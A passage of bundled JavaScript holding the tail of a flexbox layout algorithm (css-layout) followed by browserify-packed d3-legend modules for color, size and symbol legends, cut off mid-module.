child.layout[pos[crossAxis]] += linesCrossDim + leadingPaddingAndBorderCross;
if (isCrossDimDefined) {
setTrailingPosition(node, child, crossAxis);
}
}
alreadyComputedNextLayout = 0;
mainContentDim += nextContentDim;
endLine = i + 1;
}
// <Loop B> Layout flexible children and allocate empty space
// In order to position the elements in the main axis, we have two
// controls. The space between the beginning and the first element
// and the space between each two elements.
var/*float*/ leadingMainDim = 0;
var/*float*/ betweenMainDim = 0;
// The remaining available space that needs to be allocated
var/*float*/ remainingMainDim = 0;
if (isMainDimDefined) {
remainingMainDim = definedMainDim - mainContentDim;
} else {
remainingMainDim = fmaxf(mainContentDim, 0) - mainContentDim;
}
// If there are flexible children in the mix, they are going to fill the
// remaining space
if (flexibleChildrenCount !== 0) {
var/*float*/ flexibleMainDim = remainingMainDim / totalFlexible;
var/*float*/ baseMainDim;
var/*float*/ boundMainDim;
// If the flex share of remaining space doesn't meet min/max bounds,
// remove this child from flex calculations.
currentFlexChild = firstFlexChild;
while (currentFlexChild !== null) {
baseMainDim = flexibleMainDim * currentFlexChild.style.flex +
getPaddingAndBorderAxis(currentFlexChild, mainAxis);
boundMainDim = boundAxis(currentFlexChild, mainAxis, baseMainDim);
if (baseMainDim !== boundMainDim) {
remainingMainDim -= boundMainDim;
totalFlexible -= currentFlexChild.style.flex;
}
currentFlexChild = currentFlexChild.nextFlexChild;
}
flexibleMainDim = remainingMainDim / totalFlexible;
// The non flexible children can overflow the container, in this case
// we should just assume that there is no space available.
if (flexibleMainDim < 0) {
flexibleMainDim = 0;
}
currentFlexChild = firstFlexChild;
while (currentFlexChild !== null) {
// At this point we know the final size of the element in the main
// dimension
currentFlexChild.layout[dim[mainAxis]] = boundAxis(currentFlexChild, mainAxis,
flexibleMainDim * currentFlexChild.style.flex +
getPaddingAndBorderAxis(currentFlexChild, mainAxis)
);
maxWidth = CSS_UNDEFINED;
if (isDimDefined(node, resolvedRowAxis)) {
maxWidth = node.layout[dim[resolvedRowAxis]] -
paddingAndBorderAxisResolvedRow;
} else if (!isMainRowDirection) {
maxWidth = parentMaxWidth -
getMarginAxis(node, resolvedRowAxis) -
paddingAndBorderAxisResolvedRow;
}
// And we recursively call the layout algorithm for this child
layoutNode(/*(java)!layoutContext, */currentFlexChild, maxWidth, direction);
child = currentFlexChild;
currentFlexChild = currentFlexChild.nextFlexChild;
child.nextFlexChild = null;
}
// We use justifyContent to figure out how to allocate the remaining
// space available
} else if (justifyContent !== CSS_JUSTIFY_FLEX_START) {
if (justifyContent === CSS_JUSTIFY_CENTER) {
leadingMainDim = remainingMainDim / 2;
} else if (justifyContent === CSS_JUSTIFY_FLEX_END) {
leadingMainDim = remainingMainDim;
} else if (justifyContent === CSS_JUSTIFY_SPACE_BETWEEN) {
remainingMainDim = fmaxf(remainingMainDim, 0);
if (flexibleChildrenCount + nonFlexibleChildrenCount - 1 !== 0) {
betweenMainDim = remainingMainDim /
(flexibleChildrenCount + nonFlexibleChildrenCount - 1);
} else {
betweenMainDim = 0;
}
} else if (justifyContent === CSS_JUSTIFY_SPACE_AROUND) {
// Space on the edges is half of the space between elements
betweenMainDim = remainingMainDim /
(flexibleChildrenCount + nonFlexibleChildrenCount);
leadingMainDim = betweenMainDim / 2;
}
}
// <Loop C> Position elements in the main axis and compute dimensions
// At this point, all the children have their dimensions set. We need to
// find their position. In order to do that, we accumulate data in
// variables that are also useful to compute the total dimensions of the
// container!
mainDim += leadingMainDim;
for (i = firstComplexMain; i < endLine; ++i) {
child = node.children[i];
if (getPositionType(child) === CSS_POSITION_ABSOLUTE &&
isPosDefined(child, leading[mainAxis])) {
// In case the child is position absolute and has left/top being
// defined, we override the position to whatever the user said
// (and margin/border).
child.layout[pos[mainAxis]] = getPosition(child, leading[mainAxis]) +
getLeadingBorder(node, mainAxis) +
getLeadingMargin(child, mainAxis);
} else {
// If the child is position absolute (without top/left) or relative,
// we put it at the current accumulated offset.
child.layout[pos[mainAxis]] += mainDim;
// Define the trailing position accordingly.
if (isMainDimDefined) {
setTrailingPosition(node, child, mainAxis);
}
// Now that we placed the element, we need to update the variables
// We only need to do that for relative elements. Absolute elements
// do not take part in that phase.
if (getPositionType(child) === CSS_POSITION_RELATIVE) {
// The main dimension is the sum of all the elements dimension plus
// the spacing.
mainDim += betweenMainDim + getDimWithMargin(child, mainAxis);
// The cross dimension is the max of the elements dimension since there
// can only be one element in that cross dimension.
crossDim = fmaxf(crossDim, boundAxis(child, crossAxis, getDimWithMargin(child, crossAxis)));
}
}
}
var/*float*/ containerCrossAxis = node.layout[dim[crossAxis]];
if (!isCrossDimDefined) {
containerCrossAxis = fmaxf(
// For the cross dim, we add both sides at the end because the value
// is aggregate via a max function. Intermediate negative values
// can mess this computation otherwise
boundAxis(node, crossAxis, crossDim + paddingAndBorderAxisCross),
paddingAndBorderAxisCross
);
}
// <Loop D> Position elements in the cross axis
for (i = firstComplexCross; i < endLine; ++i) {
child = node.children[i];
if (getPositionType(child) === CSS_POSITION_ABSOLUTE &&
isPosDefined(child, leading[crossAxis])) {
// In case the child is absolutely positionned and has a
// top/left/bottom/right being set, we override all the previously
// computed positions to set it correctly.
child.layout[pos[crossAxis]] = getPosition(child, leading[crossAxis]) +
getLeadingBorder(node, crossAxis) +
getLeadingMargin(child, crossAxis);
} else {
var/*float*/ leadingCrossDim = leadingPaddingAndBorderCross;
// For a relative children, we're either using alignItems (parent) or
// alignSelf (child) in order to determine the position in the cross axis
if (getPositionType(child) === CSS_POSITION_RELATIVE) {
/*eslint-disable */
// This variable is intentionally re-defined as the code is transpiled to a block scope language
var/*css_align_t*/ alignItem = getAlignItem(node, child);
/*eslint-enable */
if (alignItem === CSS_ALIGN_STRETCH) {
// You can only stretch if the dimension has not already been set
// previously.
if (isUndefined(child.layout[dim[crossAxis]])) {
child.layout[dim[crossAxis]] = fmaxf(
boundAxis(child, crossAxis, containerCrossAxis -
paddingAndBorderAxisCross - getMarginAxis(child, crossAxis)),
// You never want to go smaller than padding
getPaddingAndBorderAxis(child, crossAxis)
);
}
} else if (alignItem !== CSS_ALIGN_FLEX_START) {
// The remaining space between the parent dimensions+padding and child
// dimensions+margin.
var/*float*/ remainingCrossDim = containerCrossAxis -
paddingAndBorderAxisCross - getDimWithMargin(child, crossAxis);
if (alignItem === CSS_ALIGN_CENTER) {
leadingCrossDim += remainingCrossDim / 2;
} else { // CSS_ALIGN_FLEX_END
leadingCrossDim += remainingCrossDim;
}
}
}
// And we apply the position
child.layout[pos[crossAxis]] += linesCrossDim + leadingCrossDim;
// Define the trailing position accordingly.
if (isCrossDimDefined) {
setTrailingPosition(node, child, crossAxis);
}
}
}
linesCrossDim += crossDim;
linesMainDim = fmaxf(linesMainDim, mainDim);
linesCount += 1;
startLine = endLine;
}
// <Loop E>
//
// Note(prenaux): More than one line, we need to layout the crossAxis
// according to alignContent.
//
// Note that we could probably remove <Loop D> and handle the one line case
// here too, but for the moment this is safer since it won't interfere with
// previously working code.
//
// See specs:
// http://www.w3.org/TR/2012/CR-css3-flexbox-20120918/#layout-algorithm
// section 9.4
//
if (linesCount > 1 && isCrossDimDefined) {
var/*float*/ nodeCrossAxisInnerSize = node.layout[dim[crossAxis]] -
paddingAndBorderAxisCross;
var/*float*/ remainingAlignContentDim = nodeCrossAxisInnerSize - linesCrossDim;
var/*float*/ crossDimLead = 0;
var/*float*/ currentLead = leadingPaddingAndBorderCross;
var/*css_align_t*/ alignContent = getAlignContent(node);
if (alignContent === CSS_ALIGN_FLEX_END) {
currentLead += remainingAlignContentDim;
} else if (alignContent === CSS_ALIGN_CENTER) {
currentLead += remainingAlignContentDim / 2;
} else if (alignContent === CSS_ALIGN_STRETCH) {
if (nodeCrossAxisInnerSize > linesCrossDim) {
crossDimLead = (remainingAlignContentDim / linesCount);
}
}
var/*int*/ endIndex = 0;
for (i = 0; i < linesCount; ++i) {
var/*int*/ startIndex = endIndex;
// compute the line's height and find the endIndex
var/*float*/ lineHeight = 0;
for (ii = startIndex; ii < childCount; ++ii) {
child = node.children[ii];
if (getPositionType(child) !== CSS_POSITION_RELATIVE) {
continue;
}
if (child.lineIndex !== i) {
break;
}
if (!isUndefined(child.layout[dim[crossAxis]])) {
lineHeight = fmaxf(
lineHeight,
child.layout[dim[crossAxis]] + getMarginAxis(child, crossAxis)
);
}
}
endIndex = ii;
lineHeight += crossDimLead;
for (ii = startIndex; ii < endIndex; ++ii) {
child = node.children[ii];
if (getPositionType(child) !== CSS_POSITION_RELATIVE) {
continue;
}
var/*css_align_t*/ alignContentAlignItem = getAlignItem(node, child);
if (alignContentAlignItem === CSS_ALIGN_FLEX_START) {
child.layout[pos[crossAxis]] = currentLead + getLeadingMargin(child, crossAxis);
} else if (alignContentAlignItem === CSS_ALIGN_FLEX_END) {
child.layout[pos[crossAxis]] = currentLead + lineHeight - getTrailingMargin(child, crossAxis) - child.layout[dim[crossAxis]];
} else if (alignContentAlignItem === CSS_ALIGN_CENTER) {
var/*float*/ childHeight = child.layout[dim[crossAxis]];
child.layout[pos[crossAxis]] = currentLead + (lineHeight - childHeight) / 2;
} else if (alignContentAlignItem === CSS_ALIGN_STRETCH) {
child.layout[pos[crossAxis]] = currentLead + getLeadingMargin(child, crossAxis);
// TODO(prenaux): Correctly set the height of items with undefined
// (auto) crossAxis dimension.
}
}
currentLead += lineHeight;
}
}
var/*bool*/ needsMainTrailingPos = false;
var/*bool*/ needsCrossTrailingPos = false;
// If the user didn't specify a width or height, and it has not been set
// by the container, then we set it via the children.
if (!isMainDimDefined) {
node.layout[dim[mainAxis]] = fmaxf(
// We're missing the last padding at this point to get the final
// dimension
boundAxis(node, mainAxis, linesMainDim + getTrailingPaddingAndBorder(node, mainAxis)),
// We can never assign a width smaller than the padding and borders
paddingAndBorderAxisMain
);
if (mainAxis === CSS_FLEX_DIRECTION_ROW_REVERSE ||
mainAxis === CSS_FLEX_DIRECTION_COLUMN_REVERSE) {
needsMainTrailingPos = true;
}
}
if (!isCrossDimDefined) {
node.layout[dim[crossAxis]] = fmaxf(
// For the cross dim, we add both sides at the end because the value
// is aggregate via a max function. Intermediate negative values
// can mess this computation otherwise
boundAxis(node, crossAxis, linesCrossDim + paddingAndBorderAxisCross),
paddingAndBorderAxisCross
);
if (crossAxis === CSS_FLEX_DIRECTION_ROW_REVERSE ||
crossAxis === CSS_FLEX_DIRECTION_COLUMN_REVERSE) {
needsCrossTrailingPos = true;
}
}
// <Loop F> Set trailing position if necessary
if (needsMainTrailingPos || needsCrossTrailingPos) {
for (i = 0; i < childCount; ++i) {
child = node.children[i];
if (needsMainTrailingPos) {
setTrailingPosition(node, child, mainAxis);
}
if (needsCrossTrailingPos) {
setTrailingPosition(node, child, crossAxis);
}
}
}
// <Loop G> Calculate dimensions for absolutely positioned elements
currentAbsoluteChild = firstAbsoluteChild;
while (currentAbsoluteChild !== null) {
// Pre-fill dimensions when using absolute position and both offsets for
// the axis are defined (either both left and right or top and bottom).
for (ii = 0; ii < 2; ii++) {
axis = (ii !== 0) ? CSS_FLEX_DIRECTION_ROW : CSS_FLEX_DIRECTION_COLUMN;
if (!isUndefined(node.layout[dim[axis]]) &&
!isDimDefined(currentAbsoluteChild, axis) &&
isPosDefined(currentAbsoluteChild, leading[axis]) &&
isPosDefined(currentAbsoluteChild, trailing[axis])) {
currentAbsoluteChild.layout[dim[axis]] = fmaxf(
boundAxis(currentAbsoluteChild, axis, node.layout[dim[axis]] -
getBorderAxis(node, axis) -
getMarginAxis(currentAbsoluteChild, axis) -
getPosition(currentAbsoluteChild, leading[axis]) -
getPosition(currentAbsoluteChild, trailing[axis])
),
// You never want to go smaller than padding
getPaddingAndBorderAxis(currentAbsoluteChild, axis)
);
}
if (isPosDefined(currentAbsoluteChild, trailing[axis]) &&
!isPosDefined(currentAbsoluteChild, leading[axis])) {
currentAbsoluteChild.layout[leading[axis]] =
node.layout[dim[axis]] -
currentAbsoluteChild.layout[dim[axis]] -
getPosition(currentAbsoluteChild, trailing[axis]);
}
}
child = currentAbsoluteChild;
currentAbsoluteChild = currentAbsoluteChild.nextAbsoluteChild;
child.nextAbsoluteChild = null;
}
}
function layoutNode(node, parentMaxWidth, parentDirection) {
node.shouldUpdate = true;
var direction = node.style.direction || CSS_DIRECTION_LTR;
var skipLayout =
!node.isDirty &&
node.lastLayout &&
node.lastLayout.requestedHeight === node.layout.height &&
node.lastLayout.requestedWidth === node.layout.width &&
node.lastLayout.parentMaxWidth === parentMaxWidth &&
node.lastLayout.direction === direction;
if (skipLayout) {
node.layout.width = node.lastLayout.width;
node.layout.height = node.lastLayout.height;
node.layout.top = node.lastLayout.top;
node.layout.left = node.lastLayout.left;
} else {
if (!node.lastLayout) {
node.lastLayout = {};
}
node.lastLayout.requestedWidth = node.layout.width;
node.lastLayout.requestedHeight = node.layout.height;
node.lastLayout.parentMaxWidth = parentMaxWidth;
node.lastLayout.direction = direction;
// Reset child layouts
node.children.forEach(function(child) {
child.layout.width = undefined;
child.layout.height = undefined;
child.layout.top = 0;
child.layout.left = 0;
});
layoutNodeImpl(node, parentMaxWidth, parentDirection);
node.lastLayout.width = node.layout.width;
node.lastLayout.height = node.layout.height;
node.lastLayout.top = node.layout.top;
node.lastLayout.left = node.layout.left;
}
}
return {
layoutNodeImpl: layoutNodeImpl,
computeLayout: layoutNode,
fillNodes: fillNodes
};
})();
// This module export is only used for the purposes of unit testing this file. When
// the library is packaged this file is included within css-layout.js which forms
// the public API.
if (typeof exports === 'object') {
module.exports = computeLayout;
}
return function(node) {
/*eslint-disable */
// disabling ESLint because this code relies on the above include
computeLayout.fillNodes(node);
computeLayout.computeLayout(node);
/*eslint-enable */
};
}));
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
var helper = require('./legend');
module.exports = function(){
var scale = d3.scale.linear(),
shape = "rect",
shapeWidth = 15,
shapeHeight = 15,
shapeRadius = 10,
shapePadding = 2,
cells = [5],
labels = [],
classPrefix = "",
useClass = false,
title = "",
labelFormat = d3.format(".01f"),
labelOffset = 10,
labelAlign = "middle",
labelDelimiter = "to",
orient = "vertical",
ascending = false,
path,
legendDispatcher = d3.dispatch("cellover", "cellout", "cellclick");
function legend(svg){
var type = helper.d3_calcType(scale, ascending, cells, labels, labelFormat, labelDelimiter),
legendG = svg.selectAll('g').data([scale]);
legendG.enter().append('g').attr('class', classPrefix + 'legendCells');
var cell = legendG.selectAll("." + classPrefix + "cell").data(type.data),
cellEnter = cell.enter().append("g", ".cell").attr("class", classPrefix + "cell").style("opacity", 1e-6);
shapeEnter = cellEnter.append(shape).attr("class", classPrefix + "swatch"),
shapes = cell.select("g." + classPrefix + "cell " + shape);
//add event handlers
helper.d3_addEvents(cellEnter, legendDispatcher);
cell.exit().transition().style("opacity", 0).remove();
helper.d3_drawShapes(shape, shapes, shapeHeight, shapeWidth, shapeRadius, path);
helper.d3_addText(legendG, cellEnter, type.labels, classPrefix)
// sets placement
var text = cell.select("text"),
shapeSize = shapes[0].map( function(d){ return d.getBBox(); });
//sets scale
//everything is fill except for line which is stroke,
if (!useClass){
if (shape == "line"){
shapes.style("stroke", type.feature);
} else {
shapes.style("fill", type.feature);
}
} else {
shapes.attr("class", function(d){ return classPrefix + "swatch " + type.feature(d); });
}
var cellTrans,
textTrans,
textAlign = (labelAlign == "start") ? 0 : (labelAlign == "middle") ? 0.5 : 1;
//positions cells and text
if (orient === "vertical"){
cellTrans = function(d,i) { return "translate(0, " + (i * (shapeSize[i].height + shapePadding)) + ")"; };
textTrans = function(d,i) { return "translate(" + (shapeSize[i].width + shapeSize[i].x +
labelOffset) + "," + (shapeSize[i].y + shapeSize[i].height/2 + 5) + ")"; };
} else if (orient === "horizontal"){
cellTrans = function(d,i) { return "translate(" + (i * (shapeSize[i].width + shapePadding)) + ",0)"; }
textTrans = function(d,i) { return "translate(" + (shapeSize[i].width*textAlign + shapeSize[i].x) +
"," + (shapeSize[i].height + shapeSize[i].y + labelOffset + 8) + ")"; };
}
helper.d3_placement(orient, cell, cellTrans, text, textTrans, labelAlign);
helper.d3_title(svg, legendG, title, classPrefix);
cell.transition().style("opacity", 1);
}
legend.scale = function(_) {
if (!arguments.length) return scale;
scale = _;
return legend;
};
legend.cells = function(_) {
if (!arguments.length) return cells;
if (_.length > 1 || _ >= 2 ){
cells = _;
}
return legend;
};
legend.shape = function(_, d) {
if (!arguments.length) return shape;
if (_ == "rect" || _ == "circle" || _ == "line" || (_ == "path" && (typeof d === 'string')) ){
shape = _;
path = d;
}
return legend;
};
legend.shapeWidth = function(_) {
if (!arguments.length) return shapeWidth;
shapeWidth = +_;
return legend;
};
legend.shapeHeight = function(_) {
if (!arguments.length) return shapeHeight;
shapeHeight = +_;
return legend;
};
legend.shapeRadius = function(_) {
if (!arguments.length) return shapeRadius;
shapeRadius = +_;
return legend;
};
legend.shapePadding = function(_) {
if (!arguments.length) return shapePadding;
shapePadding = +_;
return legend;
};
legend.labels = function(_) {
if (!arguments.length) return labels;
labels = _;
return legend;
};
legend.labelAlign = function(_) {
if (!arguments.length) return labelAlign;
if (_ == "start" || _ == "end" || _ == "middle") {
labelAlign = _;
}
return legend;
};
legend.labelFormat = function(_) {
if (!arguments.length) return labelFormat;
labelFormat = _;
return legend;
};
legend.labelOffset = function(_) {
if (!arguments.length) return labelOffset;
labelOffset = +_;
return legend;
};
legend.labelDelimiter = function(_) {
if (!arguments.length) return labelDelimiter;
labelDelimiter = _;
return legend;
};
legend.useClass = function(_) {
if (!arguments.length) return useClass;
if (_ === true || _ === false){
useClass = _;
}
return legend;
};
legend.orient = function(_){
if (!arguments.length) return orient;
_ = _.toLowerCase();
if (_ == "horizontal" || _ == "vertical") {
orient = _;
}
return legend;
};
legend.ascending = function(_) {
if (!arguments.length) return ascending;
ascending = !!_;
return legend;
};
legend.classPrefix = function(_) {
if (!arguments.length) return classPrefix;
classPrefix = _;
return legend;
};
legend.title = function(_) {
if (!arguments.length) return title;
title = _;
return legend;
};
d3.rebind(legend, legendDispatcher, "on");
return legend;
};
},{"./legend":2}],2:[function(require,module,exports){
module.exports = {
d3_identity: function (d) {
return d;
},
d3_mergeLabels: function (gen, labels) {
if(labels.length === 0) return gen;
gen = (gen) ? gen : [];
var i = labels.length;
for (; i < gen.length; i++) {
labels.push(gen[i]);
}
return labels;
},
d3_linearLegend: function (scale, cells, labelFormat) {
var data = [];
if (cells.length > 1){
data = cells;
} else {
var domain = scale.domain(),
increment = (domain[domain.length - 1] - domain[0])/(cells - 1),
i = 0;
for (; i < cells; i++){
data.push(domain[0] + i*increment);
}
}
var labels = data.map(labelFormat);
return {data: data,
labels: labels,
feature: function(d){ return scale(d); }};
},
d3_quantLegend: function (scale, labelFormat, labelDelimiter) {
var labels = scale.range().map(function(d){
var invert = scale.invertExtent(d),
a = labelFormat(invert[0]),
b = labelFormat(invert[1]);
// if (( (a) && (a.isNan()) && b){
// console.log("in initial statement")
return labelFormat(invert[0]) + " " + labelDelimiter + " " + labelFormat(invert[1]);
// } else if (a || b) {
// console.log('in else statement')
// return (a) ? a : b;
// }
});
return {data: scale.range(),
labels: labels,
feature: this.d3_identity
};
},
d3_ordinalLegend: function (scale) {
return {data: scale.domain(),
labels: scale.domain(),
feature: function(d){ return scale(d); }};
},
d3_drawShapes: function (shape, shapes, shapeHeight, shapeWidth, shapeRadius, path) {
if (shape === "rect"){
shapes.attr("height", shapeHeight).attr("width", shapeWidth);
} else if (shape === "circle") {
shapes.attr("r", shapeRadius)//.attr("cx", shapeRadius).attr("cy", shapeRadius);
} else if (shape === "line") {
shapes.attr("x1", 0).attr("x2", shapeWidth).attr("y1", 0).attr("y2", 0);
} else if (shape === "path") {
shapes.attr("d", path);
}
},
d3_addText: function (svg, enter, labels, classPrefix){
enter.append("text").attr("class", classPrefix + "label");
svg.selectAll("g." + classPrefix + "cell text").data(labels).text(this.d3_identity);
},
d3_calcType: function (scale, ascending, cells, labels, labelFormat, labelDelimiter){
var type = scale.ticks ?
this.d3_linearLegend(scale, cells, labelFormat) : scale.invertExtent ?
this.d3_quantLegend(scale, labelFormat, labelDelimiter) : this.d3_ordinalLegend(scale);
type.labels = this.d3_mergeLabels(type.labels, labels);
if (ascending) {
type.labels = this.d3_reverse(type.labels);
type.data = this.d3_reverse(type.data);
}
return type;
},
d3_reverse: function(arr) {
var mirror = [];
for (var i = 0, l = arr.length; i < l; i++) {
mirror[i] = arr[l-i-1];
}
return mirror;
},
d3_placement: function (orient, cell, cellTrans, text, textTrans, labelAlign) {
cell.attr("transform", cellTrans);
text.attr("transform", textTrans);
if (orient === "horizontal"){
text.style("text-anchor", labelAlign);
}
},
d3_addEvents: function(cells, dispatcher){
var _ = this;
cells.on("mouseover.legend", function (d) { _.d3_cellOver(dispatcher, d, this); })
.on("mouseout.legend", function (d) { _.d3_cellOut(dispatcher, d, this); })
.on("click.legend", function (d) { _.d3_cellClick(dispatcher, d, this); });
},
d3_cellOver: function(cellDispatcher, d, obj){
cellDispatcher.cellover.call(obj, d);
},
d3_cellOut: function(cellDispatcher, d, obj){
cellDispatcher.cellout.call(obj, d);
},
d3_cellClick: function(cellDispatcher, d, obj){
cellDispatcher.cellclick.call(obj, d);
},
d3_title: function(svg, cellsSvg, title, classPrefix){
if (title !== ""){
var titleText = svg.selectAll('text.' + classPrefix + 'legendTitle');
titleText.data([title])
.enter()
.append('text')
.attr('class', classPrefix + 'legendTitle');
svg.selectAll('text.' + classPrefix + 'legendTitle')
.text(title)
var yOffset = svg.select('.' + classPrefix + 'legendTitle')
.map(function(d) { return d[0].getBBox().height})[0],
xOffset = -cellsSvg.map(function(d) { return d[0].getBBox().x})[0];
cellsSvg.attr('transform', 'translate(' + xOffset + ',' + (yOffset + 10) + ')');
}
}
}
},{}],3:[function(require,module,exports){
var helper = require('./legend');
module.exports = function(){
var scale = d3.scale.linear(),
shape = "rect",
shapeWidth = 15,
shapePadding = 2,
cells = [5],
labels = [],
useStroke = false,
classPrefix = "",
title = "",
labelFormat = d3.format(".01f"),
labelOffset = 10,
labelAlign = "middle",
labelDelimiter = "to",
orient = "vertical",
ascending = false,
path,
legendDispatcher = d3.dispatch("cellover", "cellout", "cellclick");
function legend(svg){
var type = helper.d3_calcType(scale, ascending, cells, labels, labelFormat, labelDelimiter),
legendG = svg.selectAll('g').data([scale]);
legendG.enter().append('g').attr('class', classPrefix + 'legendCells');
var cell = legendG.selectAll("." + classPrefix + "cell").data(type.data),
cellEnter = cell.enter().append("g", ".cell").attr("class", classPrefix + "cell").style("opacity", 1e-6);
shapeEnter = cellEnter.append(shape).attr("class", classPrefix + "swatch"),
shapes = cell.select("g." + classPrefix + "cell " + shape);
//add event handlers
helper.d3_addEvents(cellEnter, legendDispatcher);
cell.exit().transition().style("opacity", 0).remove();
//creates shape
if (shape === "line"){
helper.d3_drawShapes(shape, shapes, 0, shapeWidth);
shapes.attr("stroke-width", type.feature);
} else {
helper.d3_drawShapes(shape, shapes, type.feature, type.feature, type.feature, path);
}
helper.d3_addText(legendG, cellEnter, type.labels, classPrefix)
//sets placement
var text = cell.select("text"),
shapeSize = shapes[0].map(
function(d, i){
var bbox = d.getBBox()
var stroke = scale(type.data[i]);
if (shape === "line" && orient === "horizontal") {
bbox.height = bbox.height + stroke;
} else if (shape === "line" && orient === "vertical"){
bbox.width = bbox.width;
}
return bbox;
});
var maxH = d3.max(shapeSize, function(d){ return d.height + d.y; }),
maxW = d3.max(shapeSize, function(d){ return d.width + d.x; });
var cellTrans,
textTrans,
textAlign = (labelAlign == "start") ? 0 : (labelAlign == "middle") ? 0.5 : 1;
//positions cells and text
if (orient === "vertical"){
cellTrans = function(d,i) {
var height = d3.sum(shapeSize.slice(0, i + 1 ), function(d){ return d.height; });
return "translate(0, " + (height + i*shapePadding) + ")"; };
textTrans = function(d,i) { return "translate(" + (maxW + labelOffset) + "," +
(shapeSize[i].y + shapeSize[i].height/2 + 5) + ")"; };
} else if (orient === "horizontal"){
cellTrans = function(d,i) {
var width = d3.sum(shapeSize.slice(0, i + 1 ), function(d){ return d.width; });
return "translate(" + (width + i*shapePadding) + ",0)"; };
textTrans = function(d,i) { return "translate(" + (shapeSize[i].width*textAlign + shapeSize[i].x) + "," +
(maxH + labelOffset ) + ")"; };
}
helper.d3_placement(orient, cell, cellTrans, text, textTrans, labelAlign);
helper.d3_title(svg, legendG, title, classPrefix);
cell.transition().style("opacity", 1);
}
legend.scale = function(_) {
if (!arguments.length) return scale;
scale = _;
return legend;
};
legend.cells = function(_) {
if (!arguments.length) return cells;
if (_.length > 1 || _ >= 2 ){
cells = _;
}
return legend;
};
legend.shape = function(_, d) {
if (!arguments.length) return shape;
if (_ == "rect" || _ == "circle" || _ == "line" ){
shape = _;
path = d;
}
return legend;
};
legend.shapeWidth = function(_) {
if (!arguments.length) return shapeWidth;
shapeWidth = +_;
return legend;
};
legend.shapePadding = function(_) {
if (!arguments.length) return shapePadding;
shapePadding = +_;
return legend;
};
legend.labels = function(_) {
if (!arguments.length) return labels;
labels = _;
return legend;
};
legend.labelAlign = function(_) {
if (!arguments.length) return labelAlign;
if (_ == "start" || _ == "end" || _ == "middle") {
labelAlign = _;
}
return legend;
};
legend.labelFormat = function(_) {
if (!arguments.length) return labelFormat;
labelFormat = _;
return legend;
};
legend.labelOffset = function(_) {
if (!arguments.length) return labelOffset;
labelOffset = +_;
return legend;
};
legend.labelDelimiter = function(_) {
if (!arguments.length) return labelDelimiter;
labelDelimiter = _;
return legend;
};
legend.orient = function(_){
if (!arguments.length) return orient;
_ = _.toLowerCase();
if (_ == "horizontal" || _ == "vertical") {
orient = _;
}
return legend;
};
legend.ascending = function(_) {
if (!arguments.length) return ascending;
ascending = !!_;
return legend;
};
legend.classPrefix = function(_) {
if (!arguments.length) return classPrefix;
classPrefix = _;
return legend;
};
legend.title = function(_) {
if (!arguments.length) return title;
title = _;
return legend;
};
d3.rebind(legend, legendDispatcher, "on");
return legend;
};
},{"./legend":2}],4:[function(require,module,exports){
var helper = require('./legend');
module.exports = function(){
var scale = d3.scale.linear(),
shape = "path",
shapeWidth = 15,
shapeHeight = 15,
shapeRadius = 10,
shapePadding = 5,
cells = [5],
labels = [],
classPrefix = "",
useClass = false,
title = "",
labelFormat = d3.format(".01f"),
labelAlign = "middle",
labelOffset = 10,
labelDelimiter = "to",
orient = "vertical",
ascending = false,
legendDispatcher = d3.dispatch("cellover", "cellout", "cellclick");
function legend(svg){
var type = helper.d3_calcType(scale, ascending, cells, labels, labelFormat, labelDelimiter),
legendG = svg.selectAll('g').data([scale]);
legendG.enter().append('g').attr('class', classPrefix + 'legendCells');
var cell = legendG.selectAll("." + classPrefix + "cell").data(type.data),
cellEnter = cell.enter().append("g", ".cell").attr("class", classPrefix + "cell").style("opacity", 1e-6);
shapeEnter = cellEnter.append(shape).attr("class", classPrefix + "swatch"),
shapes = cell.select("g." + classPrefix + "cell " + shape);
//add event handlers
helper.d3_addEvents(cellEnter, legendDispatcher);
//remove old shapes
cell.exit().transition().style("opacity", 0).remove();
helper.d3_drawShapes(shape, shapes, shapeHeight, shapeWidth, shapeRadius, type.feature);
helper.d3_addText(legendG, cellEnter, type.labels, classPrefix)
// sets placement
var text = cell.select("text"),
shapeSize = shapes[0].map( function(d){ return d.getBBox(); });
var maxH = d3.max(shapeSize, function(d){ return d.height; }),
maxW = d3.max(shapeSize, function(d){ return d.width; });
var cellTrans,
textTrans,
textAlign = (labelAlign == "start") ? 0 : (labelAlign == "middle") ? 0.5 : 1;
//positions cells and text
if (orient === "vertical"){
cellTrans = function(d,i) { return "translate(0, " + (i * (maxH + shapePadding)) + ")"; };
textTrans = function(d,i) { return "translate(" + (maxW + labelOffset) + "," +
(shapeSize[i].y + shapeSize[i].height/2 + 5) + ")"; };
} else if (orient === "horizontal"){
cellTrans = function(d,i) { return "translate(" + (i * (maxW + shapePadding)) + ",0)"; };
textTrans = function(d,i) { return "translate(" + (shapeSize[i].width*textAlign + shapeSize[i].x) + "," +
(maxH + labelOffset ) + ")"; };
}
helper.d3_placement(orient, cell, cellTrans, text, textTrans, labelAlign);
helper.d3_title(svg, legendG, title, classPrefix);
cell.transition().style("opacity", 1);
}
legend.scale = function(_) {
if (!arguments.length) return scale;
scale = _;
return legend;
};
legend.cells = function(_) {
if (!arguments.length) return cells;
if (_.length > 1 || _ >= 2 ){
cells = _;
}
return legend;
};
legend.shapePadding = function(_) {
if (!arguments.length) return shapePadding;
shapePadding = +_;
return legend;
};
legend.labels = function(_) {
if (!arguments.length) return labels;
labels = _;
return legend;
};
legend.labelAlign = function(_) {
if (!arguments.length) return labelAlign;
if (_ == "start" || _ == "end" || _ == "middle") {
labelAlign = _;
}
return legend;
};
legend.labelFormat = function(_) {
if (!arguments.length) return labelFormat;
labelFormat = _;
return legend;
};
legend.labelOffset = function(_) {
if (!arguments.length) return labelOffset;
labelOffset = +_;
return legend;
};
legend.labelDelimiter = function(_) {
if (!arguments.length) return labelDelimiter;
labelDelimiter = _;
return legend;
};
legend.orient = function(_){
if (!arguments.length) return orient;
_ = _.toLowerCase();
if (_ == "horizontal" || _ == "vertical") {
orient = _;
}
return legend;
};
legend.ascending = function(_) {
if (!arguments.length) return ascending;
ascending = !!_;
return legend;
};
legend.classPrefix = function(_) {
if (!arguments.length) return classPrefix;
classPrefix = _;
return legend;
};
